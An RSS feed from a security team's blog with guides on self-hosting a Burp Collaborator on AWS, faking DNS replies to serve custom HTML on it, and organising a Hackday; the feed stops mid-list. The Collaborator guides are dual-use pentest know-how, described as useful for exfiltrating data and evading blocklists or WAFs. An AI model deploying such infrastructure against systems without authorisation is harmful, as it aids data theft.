<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Guide &#8211; Team ROT Information Security</title>
	<atom:link href="/category/guide/feed/" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>Team ROT Information Security</description>
	<lastBuildDate>Tue, 05 Jan 2021 07:13:29 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.2</generator>

<image>
	<url>/wp-content/uploads/2020/08/cropped-ROT2-WHITE-BG.eps_-2-32x32.png</url>
	<title>Guide &#8211; Team ROT Information Security</title>
	<link>/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Custom HTML on private collaborator domain</title>
		<link>/1692/</link>
		
		<dc:creator><![CDATA[putsi]]></dc:creator>
		<pubDate>Mon, 04 Nov 2019 20:52:46 +0000</pubDate>
				<category><![CDATA[Guide]]></category>
		<category><![CDATA[Informative]]></category>
		<guid isPermaLink="false">/?p=1692</guid>

					<description><![CDATA[Hosting a private Burp Collaborator on custom domain can be very handy. However it currently has some limitations, one of them being the hard-coded index page.
It would be useful to be able to customize the web page. For example, the default page could instruct viewers how to contact the collaborator owner. Another example would be serving any additional payload files from the same domain.
There are hackish ways to achieve it, but not all are working as intended so let’s take a look how not to do it and how to actually do it.]]></description>
										<content:encoded><![CDATA[
<style type="text/css" data-created_by="avia_inline_auto" id="style-css-av-2m3618-b829f09cdcce6639a67e296daeb7f0a1">
.flex_column.av-2m3618-b829f09cdcce6639a67e296daeb7f0a1{
-webkit-border-radius:0px 0px 0px 0px;
-moz-border-radius:0px 0px 0px 0px;
border-radius:0px 0px 0px 0px;
padding:0px 0px 0px 0px;
}
</style>
<div class='flex_column av-2m3618-b829f09cdcce6639a67e296daeb7f0a1 av_one_full  avia-builder-el-0  avia-builder-el-no-sibling  first flex_column_div av-zero-column-padding '     ><section  class='av_textblock_section av-k1mk55g5-1d4d5c297987a898330c3674745c4553'  itemscope="itemscope" itemtype="https://schema.org/BlogPosting" itemprop="blogPost" ><div class='avia_textblock'  itemprop="text" ><h1>Serving custom HTML on private collaborator domain</h1>
<h3><strong>Note: Portswigger has now added support for custom HTML so this blog post is not needed!</strong></h3>
<h3><a href="https://portswigger.net/burp/documentation/collaborator/deploying#adding-custom-content-to-your-collaborator-server"><strong>https://portswigger.net/burp/documentation/collaborator/deploying#adding-custom-content-to-your-collaborator-server</strong></a></h3>
<h3></h3>
<p><img decoding="async" class="alignnone size-large wp-image-1699" src="/wp-content/uploads/2019/10/burpindex-1.png" alt="" width="1" height="1" srcset="/wp-content/uploads/2019/10/burpindex-1.png 2068w, /wp-content/uploads/2019/10/burpindex-1-300x118.png 300w, /wp-content/uploads/2019/10/burpindex-1-1030x405.png 1030w, /wp-content/uploads/2019/10/burpindex-1-80x80.png 80w, /wp-content/uploads/2019/10/burpindex-1-768x302.png 768w, /wp-content/uploads/2019/10/burpindex-1-1536x605.png 1536w, /wp-content/uploads/2019/10/burpindex-1-2048x806.png 2048w, /wp-content/uploads/2019/10/burpindex-1-36x36.png 36w, /wp-content/uploads/2019/10/burpindex-1-180x180.png 180w, /wp-content/uploads/2019/10/burpindex-1-1500x590.png 1500w, /wp-content/uploads/2019/10/burpindex-1-495x400.png 495w, /wp-content/uploads/2019/10/burpindex-1-260x185.png 260w, /wp-content/uploads/2019/10/burpindex-1-845x321.png 845w, /wp-content/uploads/2019/10/burpindex-1-710x375.png 710w, /wp-content/uploads/2019/10/burpindex-1-705x278.png 705w, /wp-content/uploads/2019/10/burpindex-1-1210x423.png 1210w" sizes="(max-width: 1px) 100vw, 1px" /><img decoding="async" class="alignnone size-large wp-image-1699" src="/wp-content/uploads/2019/10/burpindex-1-1030x405.png" alt="" width="1030" height="405" srcset="/wp-content/uploads/2019/10/burpindex-1-1030x405.png 1030w, /wp-content/uploads/2019/10/burpindex-1-300x118.png 300w, /wp-content/uploads/2019/10/burpindex-1-768x302.png 768w, /wp-content/uploads/2019/10/burpindex-1-1536x605.png 1536w, /wp-content/uploads/2019/10/burpindex-1-2048x806.png 2048w, /wp-content/uploads/2019/10/burpindex-1-1500x590.png 1500w, /wp-content/uploads/2019/10/burpindex-1-705x278.png 705w" sizes="(max-width: 1030px) 100vw, 1030px" /><br />
Hosting a <a href="/2019/05/23/self-hosted-burp-collaborator-with-custom-domain/">private Burp Collaborator on custom domain</a> can be very handy. It allows you for example to bypass WAFs, to use it on closed networks, to use different port numbers, to appear more professional with branded domain and so on. However it currently has some limitations, one of them being the hard-coded index page. When the collaborator domain is accessed without using any actual collaborator subdomain, a generic web page like above will be shown to the user.<br />
It would be useful to be able to customize this. For example, the default page could instruct viewers how to contact the collaborator owner. Another example would be serving any additional payload files from the same domain.<br />
According to Portswigger support, there is a feature request for customizing it but currently there is no supported way to serve custom content. There are hackish ways to achieve it, but not all are working as intended so let&#8217;s take a look how not to do it and how to actually do it.</p>
<h3>Wrong ways to implement</h3>
<p>An easy way would be using Nginx or HAProxy between the user and collaborator and making it proxy HTTP-requests from collaborator subdomains to collaborator and proxy other subdomains to web server (or serve directly the custom content). This however will lose the user&#8217;s IP for HTTP-requests as the Nginx&#8217;s/HAProxy&#8217;s IP will be shown on all HTTP-request interactions in collaborator.<br />
<img decoding="async" class="alignnone size-full wp-image-1719" src="/wp-content/uploads/2019/10/httpproxy.png" alt="" width="842" height="382" srcset="/wp-content/uploads/2019/10/httpproxy.png 842w, /wp-content/uploads/2019/10/httpproxy-300x136.png 300w, /wp-content/uploads/2019/10/httpproxy-768x348.png 768w, /wp-content/uploads/2019/10/httpproxy-705x320.png 705w" sizes="(max-width: 842px) 100vw, 842px" /><br />
Another easy way would be using a DNS-proxy which points some specific subdomains to the web server and proxies DNS-queries for all other subdomains to the DNS-server in collaborator. This will lose the user&#8217;s IP for DNS-requests as the DNS-proxy&#8217;s IP will be shown on all DNS-request interactions in collaborator.<br />
<img decoding="async" class="alignnone wp-image-1718 size-full" src="/wp-content/uploads/2019/10/dnsproxy.png" alt="" width="842" height="382" srcset="/wp-content/uploads/2019/10/dnsproxy.png 842w, /wp-content/uploads/2019/10/dnsproxy-300x136.png 300w, /wp-content/uploads/2019/10/dnsproxy-768x348.png 768w, /wp-content/uploads/2019/10/dnsproxy-705x320.png 705w" sizes="(max-width: 842px) 100vw, 842px" /></p>
<h3>Working way to serve custom html</h3>
<p>Well how can we do this without losing the original IP on DNS-request and HTTP-request? Linux kernel supports <a href="https://www.netfilter.org/projects/libnetfilter_queue/">Netfilter Queue</a> which provides an API for viewing, modifying and dropping packets directly from the Kernel Packet Filter queue. It can be used along with <a href="https://scapy.net/">Scapy</a> to transparently inspect DNS-queries and to return fake DNS-replies.<br />
Basically we&#8217;ll need to make NFQueue intercept all packets to port 53/UDP (DNS), then parse the DNS-request inside the packet. Then we&#8217;ll need to check if the DNS-request is for A-record and what (sub-)domain is it asking for. This (sub-)domain will then be checked against a list of (sub-)domains (e.g. collab.fi and www.collab.fi). If it doesn&#8217;t match any (sub-)domain on the list, the packet will be passed back on the queue without any modifications. If it matches something on the white list, Scapy will be used to create a fake DNS-reply pointing towards our web server. This fake DNS-reply will then be sent back to the source and the original packet will be dropped. It&#8217;s not actually that hard to do and now there is a script for doing all that automatically!<br />
There are still some limitations with this method, as it fakes the DNS-replies you&#8217;ll need to have two IPs. One IP is associated with your collaborator domain and another IP is associated with the web server that you want to serve the custom html with. You don&#8217;t need two different virtual machines, having two public IPs on single VM should be enough. Collaborator listening on the first IP and web server listening on the second IP. Please let me know if there is a way to make this work with a single IP!</p>
<h3 id="tldr">How to do this automatically</h3>
<p>If you installed your private collaborator using the <a href="/2019/05/23/self-hosted-burp-collaborator-with-custom-domain/">previous guide</a>, you should still have the <a href="https://github.com/putsi/privatecollaborator">privatecollaborator</a>-directory. Run <strong>git pull</strong> inside the directory and you should get the latest code including a new <a href="https://github.com/putsi/privatecollaborator/tree/master/extendburp">extendburp</a>-directory. The directory contains an installation script, systemd service and <a href="https://github.com/putsi/privatecollaborator/blob/master/extendburp/dnsmitm.py">dnsmitm.py</a>-script which implements the actual magic.<br />
To install, simply open the <strong>extendburp</strong>-directory and run the following command: <strong> ./extend_burp.sh TARGET_IP COLLABORATOR_DOMAIN<br />
</strong>The <strong>TARGET_IP</strong>-parameter should be IP of the web server that will serve the custom content and <strong>COLLABORATOR</strong><strong>_DOMAIN</strong>-parameter is your private burp collaborator domain.<br />
After the script is done, your server should respond to DNS-queries in the following way thus redirecting the user to correct HTTP-destination:</p>
<ul>
<li>DNS-query for <strong>www.yourcustomdomain.com</strong> -&gt; Returns IP of the <strong>web server</strong>.</li>
<li>DNS-query for <strong>yourcustomdomain.com</strong> -&gt; Returns IP of the <strong>web server</strong>.</li>
<li>DNS-query for <strong>AnythingElseLikeCollaboratorId.yourcustomdomain.com</strong> -&gt; Returns IP of the <strong>Burp Collaborator</strong>.</li>
</ul>
<p>In case you want to redirect more subdomains to the web server, simply insert those in the <strong>dnsmitm.py</strong> script.<br />
Over and out –<a href="https://twitter.com/putsi">putsi</a>.</p>
</div></section></div>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Self-hosted Burp collaborator with custom domain</title>
		<link>/self-hosted-burp-collaborator-with-custom-domain/</link>
		
		<dc:creator><![CDATA[putsi]]></dc:creator>
		<pubDate>Thu, 23 May 2019 22:15:55 +0000</pubDate>
				<category><![CDATA[Guide]]></category>
		<category><![CDATA[Informative]]></category>
		<guid isPermaLink="false">/?p=1558</guid>

					<description><![CDATA[The Burp Suite Collaborator is a valuable tool for penetration testers and bug bounty hunters. It basically gives you unique subdomains and logs all interactions (DNS, HTTP(S), SMTP) towards the subdomain. This can be used for example to detect SSRF-vulnerabilities and exfiltrate data.
Burp Suite Professional provides a collaborator service under the domain burpcollaborator.net and using it is usually fine. However on the rare occasions it can be blacklisted / blocked or otherwise unreachable from the target. Luckily, the Burp collaborator can also be self-hosted and set to use a whole custom domain.]]></description>
										<content:encoded><![CDATA[<section  class='av_textblock_section av-jw11uivm-db74491156f2bff0a98114d55c0dcbc8'  itemscope="itemscope" itemtype="https://schema.org/BlogPosting" itemprop="blogPost" ><div class='avia_textblock'  itemprop="text" ><h1>Self-hosted Burp collaborator for fun and profit</h1>
<p><img decoding="async" class="size-full wp-image-1588 aligncenter" src="/wp-content/uploads/2019/05/Screenshot-from-2019-05-24-01-25-10.png" alt="" width="853" height="400" srcset="/wp-content/uploads/2019/05/Screenshot-from-2019-05-24-01-25-10.png 853w, /wp-content/uploads/2019/05/Screenshot-from-2019-05-24-01-25-10-300x141.png 300w, /wp-content/uploads/2019/05/Screenshot-from-2019-05-24-01-25-10-768x360.png 768w, /wp-content/uploads/2019/05/Screenshot-from-2019-05-24-01-25-10-705x331.png 705w" sizes="(max-width: 853px) 100vw, 853px" /><br />
The <a href="https://portswigger.net/burp/documentation/collaborator">Burp Suite Collaborator</a> is a valuable tool for penetration testers and bug bounty hunters. It basically gives you unique subdomains and logs all interactions (DNS, HTTP(S), SMTP(S)) towards the subdomains. This can be used for example to detect SSRF-vulnerabilities and exfiltrate data.<br />
Burp Suite Professional provides a collaborator service under the domain <a href="http://burpcollaborator.net/">burpcollaborator.net</a> and using it is usually fine. However on the rare occasions it can be blacklisted / blocked or otherwise unreachable from the target. Luckily, the Burp collaborator can also be self-hosted and set to use a whole custom domain.<br />
This blog post guides how to set up <strong>private Burp Collaborator</strong> <strong>instance on</strong> <strong>Amazon AWS</strong> and how to configure it to use a whole domain with a free <a href="https://letsencrypt.org/">Let&#8217;s Encrypt</a> SSL-certificate.<br />
<strong>Note:</strong> If you&#8217;d like to use DigitalOcean instead of AWS, <a href="https://github.com/putsi/privatecollaborator">the automation script</a> supports also that (with and without floating IP).<br />
If you&#8217;d like to use some completely other IaaS-platform, make sure that the VM&#8217;s network interface IP matches the public IP and <a href="https://github.com/putsi/privatecollaborator">the script</a> should yet again work.</p>
</div></section>
<section  class='av_textblock_section av-jw1217uu-4de9426a00b6e144eb84025a08203fb7'  itemscope="itemscope" itemtype="https://schema.org/BlogPosting" itemprop="blogPost" ><div class='avia_textblock'  itemprop="text" ><h2>Step 1: Create AWS Instance and Elastic IP</h2>
<p><strong>TL;DR:</strong> Create Ubuntu Server 18.04 instance and assign Elastic IP to it. Allow inbound SMTP(S), HTTP(S) and DNS from everywhere and ports 9090&#038;9443 from your own IP.<br />
First we&#8217;ll need to create a virtual machine for the Collaborator. Log in to your AWS-account and follow the steps:</p>
<ol>
<li>First, lets create the virtual machine.</li>
<li>Navigate to <a href="https://eu-north-1.console.aws.amazon.com/ec2/v2/home?region=eu-north-1#LaunchInstanceWizard:">Instance wizard</a> and select <strong>Ubuntu Server 18.04 LTS (HVM), SSD Volume Type.</strong></li>
<li>Select <strong>t2.micro </strong>or <strong>t3.micro</strong> depending on which has the <a href="https://aws.amazon.com/free/?all-free-tier.sort-by=item.additionalFields.SortRank&#038;all-free-tier.sort-order=asc&#038;awsf.Free%20Tier%20Types=*all&#038;awsf.Free%20Tier%20Categories=productcategories%23compute">free tier eligible</a> tag on your AWS region. Then click <strong>Next: Configure Instance Details.</strong></li>
<li>Uncheck <strong>T2/T3 Unlimited</strong> as it might cause some expenses and then click <strong>Next: Add Storage</strong>.</li>
<li>Go with default size and click <strong>Review and Launch</strong>.</li>
<li>Click <strong>Launch</strong>.</li>
<li>Create a new keypair and download it and click <strong>Launch instances</strong>.</li>
<li>Next, lets create <a href="https://aws.amazon.com/premiumsupport/knowledge-center/elastic-ip-charges/">free-tier eligible</a> Elastic IP. This allows us to always have a static IP which can be linked to AWS virtual machines. Its not required but it makes things easier if you need to re-create your virtual machine.</li>
<li>Navigate to <a href="https://eu-north-1.console.aws.amazon.com/ec2/v2/home?region=eu-north-1#AllocateAddress:">Allocate new address</a> and click Allocate.</li>
<li>Go back to the <a href="https://eu-north-1.console.aws.amazon.com/ec2/v2/home?region=eu-north-1#Addresses:sort=PublicIp">Elastic IP List</a>, right click your Elastic IP, and <strong>Associate Address</strong> to the virtual machine created in the previous steps.</li>
<li>Next, go to <a href="https://eu-north-1.console.aws.amazon.com/ec2/v2/home?region=eu-north-1#Instances:sort=instanceId">Instances</a> and click your instance. On bottom of the page, click the <strong>Security Group</strong> and it should open.</li>
<li>Create <strong>Inbound rules</strong> like in the image below. Use your own PC IP for the port <strong>9443</strong> and <strong>9090</strong> as you don&#8217;t want anyone else using your collaborator.</li>
</ol>
<p><img decoding="async" class="alignnone wp-image-1561 size-large" src="/wp-content/uploads/2019/05/ports-1030x435.png" alt="" width="1030" height="435" srcset="/wp-content/uploads/2019/05/ports-1030x435.png 1030w, /wp-content/uploads/2019/05/ports-300x127.png 300w, /wp-content/uploads/2019/05/ports-768x324.png 768w, /wp-content/uploads/2019/05/ports-705x298.png 705w, /wp-content/uploads/2019/05/ports.png 1128w" sizes="(max-width: 1030px) 100vw, 1030px" /></p>
</div></section>
<section  class='av_textblock_section av-jw121fuy-035d1317ba0192d9c15a6c29c2070639'  itemscope="itemscope" itemtype="https://schema.org/BlogPosting" itemprop="blogPost" ><div class='avia_textblock'  itemprop="text" ><h2>Step 2: Configure the collaborator domain</h2>
<p>Next we&#8217;ll have to configure the domain to have the Elastic IP as nameserver. Most providers require two unique nameservers so we will use <strong>one.one.one.one</strong> as the second one. If your domain is registered on GoDaddy, <a href="#godaddy">see here</a> for GoDaddy-specific instructions, otherwise follow the steps below.</p>
<ol>
<li>First, find out hostname for your Elastic IP. You can for example use <a href="https://mxtoolbox.com/ReverseLookup.aspx">MxToolbox</a> and it should give you something like <strong>ec2-00-00-00-00.eu-north-1.compute.amazonaws.com</strong>.</li>
<li>Next, add nameservers for your collaborator domain in domain registrar settings. Use hostname from the previous step as first nameserver and <strong>one.one.one.one </strong>as second nameserver:<br />
<img decoding="async" class="alignnone size-full wp-image-1623" src="/wp-content/uploads/2019/05/collab-1.png" alt="" width="409" height="317" srcset="/wp-content/uploads/2019/05/collab-1.png 409w, /wp-content/uploads/2019/05/collab-1-300x233.png 300w" sizes="(max-width: 409px) 100vw, 409px" /></li>
<li>Done! All DNS-queries towards your private collaborator domain should now end up in the Elastic IP.</li>
</ol>
<h4 id="godaddy">Instructions for domains registered in GoDaddy:</h4>
<ol>
<li>Go to <a href="https://dcc.godaddy.com/domains/">My Domains</a> on GoDaddy.</li>
<li>Click the three black dots next to your collaborator domain and then click <strong>Manage DNS</strong>.</li>
<li>In <strong>Advanced Features </strong>section click the <strong>Host names</strong>.</li>
<li>Add <strong>ns</strong>-host with your Elastic IP:<br />
<img decoding="async" class="alignnone wp-image-1626" src="/wp-content/uploads/2019/05/godhn-1030x422.png" alt="" width="769" height="315" data-wp-editing="1" srcset="/wp-content/uploads/2019/05/godhn-1030x422.png 1030w, /wp-content/uploads/2019/05/godhn-300x123.png 300w, /wp-content/uploads/2019/05/godhn-768x315.png 768w, /wp-content/uploads/2019/05/godhn-705x289.png 705w, /wp-content/uploads/2019/05/godhn.png 1095w" sizes="(max-width: 769px) 100vw, 769px" /></li>
<li>Next, modify the domain nameservers on the DNS Management page. Select <strong>Custom </strong>and set <strong>ns.YOUR_COLLABORATOR_DOMAIN </strong>as first one and <strong>one.one.one.one</strong> as second one:<br />
<img decoding="async" class="alignnone wp-image-1625" src="/wp-content/uploads/2019/05/goddns.png" alt="" width="769" height="324" srcset="/wp-content/uploads/2019/05/goddns.png 999w, /wp-content/uploads/2019/05/goddns-300x126.png 300w, /wp-content/uploads/2019/05/goddns-768x324.png 768w, /wp-content/uploads/2019/05/goddns-705x297.png 705w" sizes="(max-width: 769px) 100vw, 769px" /></li>
<li>Done! All DNS-queries towards your private collaborator domain should now end up in the Elastic IP.</li>
</ol>
</div></section>
<section  class='av_textblock_section av-jw14g8i6-46dbc87992981a976f43fb9a5186e3a4'  itemscope="itemscope" itemtype="https://schema.org/BlogPosting" itemprop="blogPost" ><div class='avia_textblock'  itemprop="text" ><h2>Step 3: Configure the virtual machine</h2>
<p>Next you&#8217;ll need to fetch Let&#8217;s encrypt certificate and configure the virtual machine and do some other stuff. There&#8217;s a <a href="https://github.com/putsi/privatecollaborator">script for it</a> so let&#8217;s use that. The script also implements automatic certificate renewal so you don&#8217;t have to manually renew the Let&#8217;s Encrypt every 90 days.</p>
<ol>
<li>First, use the keypair you downloaded to log in to the virtual machine:
<ul>
<li><strong>chmod 0600 newpair.pem</strong></li>
<li><strong>ssh -i newpair.pem ubuntu@YOUR_ELASTIC_IP</strong></li>
</ul>
</li>
<li>Clone the scripts:
<ul>
<li><strong>git clone https://github.com/putsi/privatecollaborator &amp;&amp; cd privatecollaborator</strong></li>
</ul>
</li>
<li>Copy your Burp Suite Professional JAR-file to the <strong>privatecollaborator</strong>-directory.
<ul>
<li><strong>scp -i newpair.pem /your/own/pc/burp.jar ubuntu@YOUR_ELASTIC_IP:~/privatecollaborator/</strong></li>
</ul>
</li>
<li>Run the installer script and place your domain as a command line parameter. The email is for Let&#8217;s Encrypt expiry notifications and can either be a valid one or a non-existing one:
<ul>
<li><strong>sudo ./install.sh collab.fi your@email.fi</strong></li>
</ul>
</li>
<li>Accept any package installations that the script suggests and also enter your email address for Lets Encrypt notifications.</li>
<li>Let&#8217;s Encrypt should now succeed creating a certificate for you. <strong>If it fails, you can try to run the install-script again couple of times.</strong> If it still fails, your domain DNS configuration from earlier steps most likely hasn&#8217;t refreshed yet. If that&#8217;s not the case, check your domain DNS configuration for typos and also check the security group inbound rules for port 53.</li>
<li>You can now start the Burp collaborator service.
<ul>
<li><strong>sudo service burpcollaborator start</strong></li>
</ul>
</li>
</ol>
</div></section>
<section  class='av_textblock_section av-jw1563dp-a7eefeb859369e564db5e36af45df759'  itemscope="itemscope" itemtype="https://schema.org/BlogPosting" itemprop="blogPost" ><div class='avia_textblock'  itemprop="text" ><h2>Step 4: Configure Burp Suite</h2>
<p>If you didn&#8217;t do it already on previous step, start the private collaborator by running: <strong>sudo service burpcollaborator start</strong>. Then check logs with <strong>sudo systemctl status burpcollaborator</strong>. It should tell you about listening on various ports and should not show any errors.<br />
Next start up your Burp Suite and open <strong>Project Options -> Misc</strong>. Set up the private collaborator config according to the below image, but using your own domain instead of collab.fi:<br />
<img decoding="async" class="alignnone size-full wp-image-1575" src="/wp-content/uploads/2019/05/collab.png" alt="" width="635" height="270" srcset="/wp-content/uploads/2019/05/collab.png 635w, /wp-content/uploads/2019/05/collab-300x128.png 300w" sizes="(max-width: 635px) 100vw, 635px" /><br />
Then click <strong>Run health check</strong> and wait for results. It should succeed on everything else than inbound SMTP (this is due to AWS policies):<br />
<img decoding="async" class="alignnone size-full wp-image-1577" src="/wp-content/uploads/2019/05/health.png" alt="" width="849" height="330" srcset="/wp-content/uploads/2019/05/health.png 849w, /wp-content/uploads/2019/05/health-300x117.png 300w, /wp-content/uploads/2019/05/health-768x299.png 768w, /wp-content/uploads/2019/05/health-705x274.png 705w" sizes="(max-width: 849px) 100vw, 849px" /><br />
If everything was OK, you should now be able to use the private collaborator instance normally on Burp Suite:<br />
<img decoding="async" class="alignnone size-full wp-image-1618" src="/wp-content/uploads/2019/05/Untitled.png" alt="" width="1013" height="692" srcset="/wp-content/uploads/2019/05/Untitled.png 1013w, /wp-content/uploads/2019/05/Untitled-300x205.png 300w, /wp-content/uploads/2019/05/Untitled-768x525.png 768w, /wp-content/uploads/2019/05/Untitled-705x482.png 705w" sizes="(max-width: 1013px) 100vw, 1013px" /></p>
</div></section>
<section  class='av_textblock_section av-jw17kxn8-350e669f17ef83c26cac8378e4599520'  itemscope="itemscope" itemtype="https://schema.org/BlogPosting" itemprop="blogPost" ><div class='avia_textblock'  itemprop="text" ><h2>Conclusions</h2>
<p>We made it! It works!<br />
Now you can for example add more non-standard ports to the configuration or do whatever else you might imagine.<br />
In the future, this blog post will hopefully be updated on the subject of how to extend the Collaborator. <a href="https://github.com/putsi/privatecollaborator/issues">Potential subjects include</a>:</p>
<ul>
<li>Capturing interactions for protocols other than DNS, HTTP(S) and SMTP(S).</li>
<li>Serving custom content as HTTP(S)-response.</li>
<li>Dockerize the whole process.</li>
<li>Run as a less-privileged user and properly set iptables redirections.</li>
<li>Create a single-click setup for AWS.</li>
<li>Something else? Let us know what you&#8217;d like to learn and we will see if we can help.</li>
</ul>
<p>Over and out &#8211;<a href="https://twitter.com/putsi">putsi</a>.</p>
</div></section>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>How to create an awesome Hackday event</title>
		<link>/how-to-create-an-awesome-hackday-event/</link>
		
		<dc:creator><![CDATA[jvesiluoma]]></dc:creator>
		<pubDate>Mon, 20 May 2019 19:03:36 +0000</pubDate>
				<category><![CDATA[Guide]]></category>
		<category><![CDATA[Informative]]></category>
		<guid isPermaLink="false">/?p=1550</guid>

					<description><![CDATA[Hackday (not to be confused with ‘hackathon’ events) is a live event where a group or groups of hackers do security testing to some target (i.e. hack the target). Usually the target is a web application or for example some IoT device. The event may last from one day to a few days. It is common that the organizer will pay bounties for the security vulnerabilities reported by the participants. Organizer(s) can coax hackers to participate with some amazing swag, bounties or other prices that can be won in the event. Bigger the prices, the more hackers will want to join and more experienced hackers will be participating.




The usual flow of the event will be; registering of participants, informational meetup to all, hacking and reporting of vulnerabilities, end meetup and some networking at the end.




This document aims to guide organizers to create and amazing hacking event so everyone participating will have amazing time! Organizer will get the target tested for vulnerabilities and will get good PR from the event.]]></description>
										<content:encoded><![CDATA[<h2><span style="font-weight: 400;">What is a Hackday?</span></h2>
<p style="text-align: justify;"><span style="font-weight: 400;">Hackday (not to be confused with ‘hackathon’ events) is a live event where a group or groups of hackers do security testing to some target (i.e. hack the target). Usually the target is a web application or for example some IoT device. The event may last from one day to a few days. It is common that the organizer will pay bounties for the security vulnerabilities reported by the participants. Organizer(s) can coax hackers to participate with some amazing swag, bounties or other prices that can be won in the event. Bigger the prices, the more hackers will want to join and more experienced hackers will be participating.</span></p>
<p style="text-align: justify;">
<p style="text-align: justify;"><span style="font-weight: 400;">The usual flow of the event will be; registering of participants, informational meetup to all, hacking and reporting of vulnerabilities, end meetup and some networking at the end.</span></p>
<p style="text-align: justify;">
<p style="text-align: justify;"><span style="font-weight: 400;">This document aims to guide organizers to create and amazing hacking event so everyone participating will have amazing time! Organizer will get the target tested for vulnerabilities and will get good PR from the event.</span></p>
<h2><span style="font-weight: 400;">Target(s)</span></h2>
<ul>
<li style="font-weight: 400; text-align: justify;"><span style="font-weight: 400;">If possible, use a testing/staging environment for the Hackday, with extended logging to catch more data in case errors occur (and to avoid causing trouble in Production).</span></li>
<li style="font-weight: 400; text-align: justify;"><span style="font-weight: 400;">Permitting hackers to access the log data can help them to dig up issues that lie deep in the application.</span></li>
<li style="font-weight: 400; text-align: justify;"><span style="font-weight: 400;">Define the scope of the target in detail. This is hugely important for fair game and equal opportunity for all the teams. And also to safeguard production systems from being hammered.</span></li>
<li style="font-weight: 400; text-align: justify;"><span style="font-weight: 400;">Benchmark the system for heavy loads (e.g high amount of requests/queries). Testing can impact availability especially when multiple teams are trying to break it simultaneously.</span></li>
<li style="font-weight: 400; text-align: justify;"><span style="font-weight: 400;">In some cases it can be beneficial to allow reconnaissance and testing prior to the event for more value from the event itself, at the risk of low volume of reports in the event itself.</span></li>
<li style="font-weight: 400; text-align: justify;"><span style="font-weight: 400;">Prepare user specific or at least team specific set of credentials for the target system. If the permission system is multi-tiered, create at least one user for each user role for each of the testers or teams. Two separate user accounts are necessary for testing certain issues.</span></li>
<li style="font-weight: 400; text-align: justify;"><span style="font-weight: 400;">Consider disabling or limiting the use of external security controls such as WAF (Web Application Firewalls) and/or IPS (Intrusion Prevention Systems). This allows the teams to spend time more efficiently on finding vulnerabilities rather than trying to bypass the controls, which can be bypassed by a motivated attacker in the production anyway.</span></li>
</ul>
<h2><span style="font-weight: 400;">Facilities</span></h2>
<ul>
<li style="font-weight: 400; text-align: justify;"><span style="font-weight: 400;">Prepare a room for each of the teams. This will allow the testers to openly communicate about the application and potential vulnerabilities without having to worry about the competing team overhearing the strategy.</span></li>
<li style="font-weight: 400; text-align: justify;"><span style="font-weight: 400;">Connectivity options for wired and wireless networks in case one of the options is suffering poor availability.</span></li>
<li style="font-weight: 400; text-align: justify;"><span style="font-weight: 400;">Reserve some snacks, refreshing beverages and arrange a quick lunch/dinner depending on the length of the event.</span></li>
</ul>
<h2><span style="font-weight: 400;">Rewards</span></h2>
<ul>
<li style="font-weight: 400; text-align: justify;"><span style="font-weight: 400;">When announcing the event, include what kind of bounties will be available and if monetary, how much is reserved and how it will be paid out to the hackers. This will be the main attraction for many great hackers.</span></li>
<li style="font-weight: 400; text-align: justify;"><span style="font-weight: 400;">Explain how you’ll be paying the bounties, whether it is by vulnerability type or by points earned from reporting the vulnerabilities.</span></li>
<li style="font-weight: 400; text-align: justify;"><span style="font-weight: 400;">Preferably pay bounties based on business impact instead of vulnerability types. Bug Bounty programs are a great way to find the necessary details. </span></li>
<li style="font-weight: 400; text-align: justify;"><span style="font-weight: 400;">If possible, reward each attending hacker/team regardless of their possible findings. This will help hackers cut their travel expenses and motivate them to to try harder next time. The reward can also be some kind of tech gift that is appealing to technically oriented people.</span></li>
<li style="font-weight: 400;"><span style="font-weight: 400;">Prepare the </span><b>Swag!</b><span style="font-weight: 400;"> (great publicity for the company)</span>
<ul>
<li style="font-weight: 400; text-align: justify;"><span style="font-weight: 400;">Stickers/T-Shirts/Hoodies/Backpacks/other</span></li>
</ul>
</li>
</ul>
<h2><span style="font-weight: 400;">Acknowledgement</span></h2>
<ul>
<li style="font-weight: 400; text-align: justify;"><span style="font-weight: 400;">Give warm thanks to your friendly neighborhood hackers. They spend hours travelling to your event to help you secure the target system and to challenge themselves while doing so.</span></li>
<li style="font-weight: 400; text-align: justify;"><span style="font-weight: 400;">Don’t underestimate the public “thank you!”. Praise the teams in social media (or other), they will be grateful for it!</span></li>
<li style="font-weight: 400; text-align: justify;"><span style="font-weight: 400;">Decide if the best finding/most vulnerabilities/most severe/etc vulnerability will be awarded somehow. This could also increase competitiveness between groups and at least give positive feeling of appreciation to winning group / person.</span></li>
<li style="font-weight: 400; text-align: justify;"><span style="font-weight: 400;">Engage in one on one conversations with the participants to establish rapport.</span></li>
</ul>
<h2><span style="font-weight: 400;"></span></h2>
<h2><span style="font-weight: 400;">Rules and Reporting</span></h2>
<ul>
<li style="font-weight: 400; text-align: justify;"><span style="font-weight: 400;">Non-Disclosure Agreement (reasonable terms).</span></li>
<li style="font-weight: 400; text-align: justify;"><span style="font-weight: 400;">Rules</span>
<ul>
<li style="font-weight: 400;"><span style="font-weight: 400;">Define what happens if a group breaks the rules, e.g. going out-of-scope, disturb other groups, unethical behaviour in the event etc. </span></li>
<li style="font-weight: 400;"><span style="font-weight: 400;">Out-Of-Scope vulnerabilities should be accepted, but only as informational vulnerabilities in the event and without any points. More value for the money. </span></li>
<li style="font-weight: 400;"><span style="font-weight: 400;">Malicious intent should be defined in the agreement. </span></li>
<li style="font-weight: 400;"><span style="font-weight: 400;">Rules, non-disclosure agreements etc. documentation should preferably be sent beforehand for the participants to read.</span></li>
<li style="font-weight: 400;"><span style="font-weight: 400;">Remember to inform that participants can not share information about the vulnerabilities publicly (or they may lose the bounty for that vulnerability).</span></li>
</ul>
</li>
